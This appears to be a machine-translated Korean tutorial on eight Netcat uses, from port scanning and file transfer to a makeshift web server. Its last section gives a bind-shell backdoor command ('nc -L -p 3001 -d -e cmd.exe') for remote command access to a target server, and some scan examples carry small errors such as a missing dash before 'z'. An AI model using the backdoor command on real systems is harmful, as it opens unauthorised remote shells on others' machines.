웹사이트 검색

8 Netcat(nc) 명령과 예제


Netcat(또는 줄여서 nc)은 Linux에서 TCP와 관련된 모든 작업을 수행하는 데 사용되는 간단하면서도 강력한 네트워킹 명령줄 도구입니다. < Strong>UDP 또는 UNIX 도메인 소켓.

Netcat은 포트 스캐닝, 포트 리디렉션, 포트 수신기(수신 연결용)로 사용할 수 있습니다. 또한 원격 연결 및 기타 여러 가지 작업을 여는 데에도 사용할 수 있습니다. 게다가 이를 백도어로 사용하여 대상 서버에 액세스할 수도 있습니다.

이 글에서는 Netcat 사용법 명령어를 예시와 함께 설명하겠습니다.

Linux에서 Netcat을 설치하고 사용하는 방법

시스템에 netcat 패키지를 설치하려면 Linux 배포용 기본 패키지 관리자를 사용하세요.

yum install nc                  [On CentOS/RHEL]
dnf install nc                  [On Fedora 22+ and RHEL 8]
sudo apt-get install Netcat     [On Debian/Ubuntu]

netcat 패키지가 설치되면 다음 예에서 netcat 명령 사용법을 더 자세히 알아볼 수 있습니다.

포트 스캐닝

Netcat은 포트 스캐닝에 사용될 수 있습니다. 즉, 어떤 포트가 열려 있고 대상 시스템에서 서비스를 실행하고 있는지 파악하는 데 사용할 수 있습니다. 단일 또는 다중 또는 다양한 범위의 열린 포트를 스캔할 수 있습니다.

다음은 예입니다. -z 옵션은 nc를 설정하여 실제로 데이터를 보내지 않고 청취 데몬을 검색하기만 합니다. -v 옵션은 상세 모드를 활성화하고 -w는 설정할 수 없는 연결에 대한 시간 제한을 지정합니다.

nc -v -w 2 z 192.168.56.1 22     #scan a single port
OR
nc -v -w 2 z 192.168.56.1 22 80  #scan multiple ports
OR
nc -v -w 2 z 192.168.56.1 20-25  #scan range of ports

Linux 서버 간 파일 전송

Netcat을 사용하면 두 개의 Linux 컴퓨터 또는 서버 간에 파일을 전송할 수 있으며 두 시스템 모두 nc가 설치되어 있어야 합니다.

예를 들어 ISO 이미지 파일을 한 컴퓨터에서 다른 컴퓨터로 복사하고 전송 진행률을 모니터링하려면(pv 유틸리티 사용) 송신자/서버 컴퓨터(ISO 파일이 있는 곳)에서 다음 명령을 실행하십시오.

포트 3000에서 청취 모드(-l 플래그)로 nc가 실행됩니다.

tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso  | pv | nc -l -p 3000 -q 5

그리고 수신자/클라이언트 컴퓨터에서 다음 명령을 실행하여 파일을 얻습니다.

nc 192.168.1.4 3000 | pv | tar -zxf -

명령줄 채팅 서버 만들기

Netcat을 사용하여 간단한 명령줄 메시징 서버를 즉시 만들 수도 있습니다. 이전 사용 예와 마찬가지로 채팅방을 사용하는 두 시스템 모두 nc를 설치해야 합니다.

한 시스템에서 다음 명령을 실행하여 포트 5000에서 수신 대기하는 채팅 서버를 만듭니다.

nc -l -vv -p 5000

다른 시스템에서는 다음 명령을 실행하여 메시징 서버가 실행 중인 시스템에 대한 채팅 세션을 시작합니다.

nc 192.168.56.1 5000

기본 웹 서버 만들기

학습 목적으로 정적 웹 파일을 제공하기 위해 기본적이고 안전하지 않은 웹 서버를 만드는 데 사용되는 nc 명령-l 옵션을 사용합니다. 이를 보여주기 위해 그림과 같이 .html 파일을 만듭니다.

vim index.html

파일에 다음 HTML 줄을 추가합니다.

<html>
        <head>
                <title>Test Page</title>
        </head>
        <body>
                      <p>Serving this file using Netcat Basic HTTP server!</p>
        </body>
</html>

파일의 변경 사항을 저장하고 종료합니다.

그런 다음, 다음 명령을 실행하여 HTTP를 통해 위 파일을 제공하면 HTTP 서버가 지속적으로 실행될 수 있습니다.


while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done

그런 다음 웹 브라우저를 열고 다음 주소를 사용하여 콘텐츠에 액세스할 수 있습니다.

http://localhost:8080
OR
http://SERVER_IP:8080

[Ctrl+ C]를 눌러 Netcat HTTP 서버를 중지할 수 있습니다.

Linux 서버 연결 문제 해결

Netcat의 또 다른 유용한 사용법은 서버 연결 문제를 해결하는 것입니다. 여기에서 Netcat을 사용하여 클라이언트가 실행한 명령에 대한 응답으로 서버가 보내는 데이터를 확인할 수 있습니다.

다음 명령은 example.com의 홈페이지를 검색합니다.

printf "GET / HTTP/1.0\r\n\r\n" | nc text.example.com 80

위 명령의 출력에는 문제 해결 목적으로 사용할 수 있는 웹 서버에서 보낸 헤더가 포함되어 있습니다.

포트에서 실행되는 서비스 찾기

Netcat을 사용하여 포트 배너를 얻을 수도 있습니다. 이 경우 특정 포트 뒤에서 어떤 서비스가 실행되고 있는지 알려줍니다. 예를 들어 특정 서버의 22 포트 뒤에서 어떤 유형의 서비스가 실행되고 있는지 확인하려면 다음 명령을 실행합니다(192.168.56.110을 대상 서버의 IP 주소로 교체). -n 플래그는 DNS 또는 서비스 조회를 비활성화한다는 의미입니다.

nc -v -n 192.168.56.110 80

스트림 소켓 생성

Netcat은 UNIX 도메인 스트림 소켓 생성도 지원합니다. 다음 명령은 UNIX 도메인 스트림 소켓을 생성하고 수신합니다.

nc -lU /var/tmp/mysocket &
ss -lpn | grep "/var/tmp/"

백도어 생성

Netcat을 백도어로 실행할 수도 있습니다. 그러나 이를 위해서는 더 많은 작업이 필요합니다. Netcat이 대상 서버에 설치된 경우 이를 사용하여 백도어를 생성하고 원격 명령 프롬프트를 얻을 수 있습니다.

백도어를 작동하려면 Netcat이 대상 서버에서 선택한 포트(예: 포트 3001)를 수신해야 하며 다음과 같이 컴퓨터에서 이 포트에 연결할 수 있습니다.

이는 -d 옵션이 stdin에서 읽기를 비활성화하고 -e가 대상 시스템에서 실행할 명령을 지정하는 원격 서버에서 실행하기 위한 명령입니다.

nc -L -p 3001 -d -e cmd.exe 

마지막으로 Netcat은 HTTP, SSH 등을 포함한 다양한 서비스/프로토콜에 대한 프록시로 사용될 수 있습니다. 자세한 내용은 해당 매뉴얼 페이지를 참조하십시오.

man nc

이 글에서는 8가지 실용적인 Netcat 명령어 사용 예시를 설명했습니다. 다른 실제 사용 사례를 알고 있다면 아래 피드백 양식을 통해 공유해 주세요. 질문을 하셔도 됩니다.